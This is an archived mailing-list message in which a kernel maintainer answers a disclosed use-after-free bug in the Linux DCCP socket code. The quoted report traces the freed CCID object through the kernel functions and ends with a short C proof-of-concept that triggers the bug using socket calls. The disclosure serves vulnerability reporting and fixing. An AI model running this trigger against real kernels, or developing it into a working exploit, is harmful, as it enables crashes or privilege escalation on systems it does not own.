[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20200620173438.GU4282@kadam>
Date: Sat, 20 Jun 2020 20:34:38 +0300
From: Dan Carpenter <dan.carpenter@...cle.com>
To: Leonardo Almiñana <leonardo@...inana.com.ar>
Cc: leonardo.alminana@...itosecurity.com, security@...nel.org,
netdev@...r.kernel.org
Subject: Re: DCCP Bug report
This one is already publicly known because syzbot discovered it last
November. I have added netdev to the CC list. Unfortunately, DCCP
seems orphaned.
https://lore.kernel.org/lkml/20191121201433.GD617@kadam/
regards,
dan carpenter
On Fri, Jun 19, 2020 at 05:59:58PM -0300, Leonardo Almiñana wrote:
> A similar bug to CVE-2017-8824 has been (RE)introduced in the Linux kernel.
>
> When a DCCP socket connection happens one of the functions called is
> dccp_hdlr_ccid.
>
> static int dccp_hdlr_ccid(struct sock *sk, u64 ccid, bool rx)
> {
> struct dccp_sock *dp = dccp_sk(sk);
> struct ccid *new_ccid = ccid_new(ccid, sk, rx);
>
> if (new_ccid == NULL)
> return -ENOMEM;
>
> if (rx) {
> ccid_hc_rx_delete(dp->dccps_hc_rx_ccid, sk);
> dp->dccps_hc_rx_ccid = new_ccid;
> } else {
> ccid_hc_tx_delete(dp->dccps_hc_tx_ccid, sk);
> dp->dccps_hc_tx_ccid = new_ccid;
> }
> return 0;
> }
>
> The function allocates a new CCID and assigns it to the sock.
> * If an old CCID is found then it's deleted.
>
> void ccid_hc_rx_delete(struct ccid *ccid, struct sock *sk)
> {
> if (ccid != NULL) {
> if (ccid->ccid_ops->ccid_hc_rx_exit != NULL)
> ccid->ccid_ops->ccid_hc_rx_exit(sk);
> kmem_cache_free(ccid->ccid_ops->ccid_hc_rx_slab, ccid);
> }
> }
>
> void ccid_hc_tx_delete(struct ccid *ccid, struct sock *sk)
> {
> if (ccid != NULL) {
> if (ccid->ccid_ops->ccid_hc_tx_exit != NULL)
> ccid->ccid_ops->ccid_hc_tx_exit(sk);
> kmem_cache_free(ccid->ccid_ops->ccid_hc_tx_slab, ccid);
> }
> }
>
> When the socket is disconnected dccp_disconnect is invoked, this function
> leaves dp->dccps_hc_tx_ccid unaltered.
>
> It is possible to copy the socket including dangling references. To
> accomplish
> it the socket has to be put into LISTEN state.
>
> struct sock *dccp_create_openreq_child(const struct sock *sk,
> const struct request_sock *req,
> const struct sk_buff *skb)
> {
> /*
> * Step 3: Process LISTEN state
> *
> * (* Generate a new socket and switch to that socket *)
> * Set S := new socket for this port pair
> */
>
> struct sock *newsk = inet_csk_clone_lock(sk, req, GFP_ATOMIC);
>
> [...]
>
> /*
> * Activate features: initialise CCIDs, sequence windows etc.
> */
> if (dccp_feat_activate_values(newsk, &dreq->dreq_featneg)) {
> sk_free_unlock_clone(newsk);
> return NULL;
> }
>
> [...]
> }
>
> The call to inet_csk_clone_lock allocates a new socket and
> the contents of sk are copied to newsk. Next dccp_feat_activate_values gets
> called, which ends up calling dccp_hdlr_ccid.
>
> Since the copy contains a non-NULL pointer ccid_hc_tx_delete will be called
> to
> destroy the CCID object while the source socket is still holding references
> to
> it. The UAF can be triggered by operating over the CCIDs from the original
> sock
> after the child sock has freed it.
>
>
> Original patch that "fixed" CVE-2017-8824:
> https://github.com/torvalds/linux/commit/69c64866ce072dea1d1e59a0d61e0f66c0dffb76
>
> The patch was broken as it can been seen the following commit:
> https://github.com/torvalds/linux/commit/67f93df79aeefc3add4e4b31a752600f834236e2
>
> Things were still broken, so ccid_hc_tx_delete was removed :
> https://github.com/torvalds/linux/commit/2677d20677314101293e6da0094ede7b5526d2b1
>
> The last patch leaves things almost exactly as they were with CVE-2017-8824.
> The difference is that now only TX is affected, making exploitation harder
> for
> the following reasons:
> - RX's size made it easy to produce kmalloc block collisions, with TX
> it isn't.
> - The actual freeing of the object is deferred and might happen in a
> different
> context because of RCU.
>
>
> Proof of Concept
> ================
>
> #include <stdio.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
>
>
> int main(int argc, char *argv[])
> {
> struct sockaddr_in in1 =
> {
> .sin_family = AF_INET,
> .sin_port = 0xaaaa
> };
>
> struct sockaddr_in in2 =
> {
> .sin_family = AF_INET,
> .sin_port = 0xbbbb
> };
>
> struct sockaddr_in in3 = { 0 };
>
> int fd1 = socket(PF_INET, SOCK_DCCP, 0);
> int fd2 = socket(PF_INET, SOCK_DCCP, 0);
>
> bind(fd1, (struct sockaddr*)&in1, sizeof(in1));
> listen(fd1, 1);
> connect(fd2, (struct sockaddr*)&in1, sizeof(in1));
> connect(fd1, (struct sockaddr*)&in3, sizeof(in3));
> connect(fd2, (struct sockaddr*)&in3, sizeof(in3));
> bind(fd2, (struct sockaddr*)&in2, sizeof(in2));
> listen(fd2, 1);
> connect(fd1, (struct sockaddr*)&in2, sizeof(in2));
> close(fd1);
> close(fd2);
>
> return 0;
> }
>
> ### ### ### ### ### ### ### ### ### ### ### ### ###
>
> Please use my company email for any future communications, I was forced to
> use this one at the moment because your MTA refuses to accept the email
> from our provider (zoho) due to a spamcop related issue.
>
> leonardo.alminana@...itosecurity.com
>
> Regards.
>
> Leonardo Almiñana
> Tacito Security
Powered by blists - more mailing lists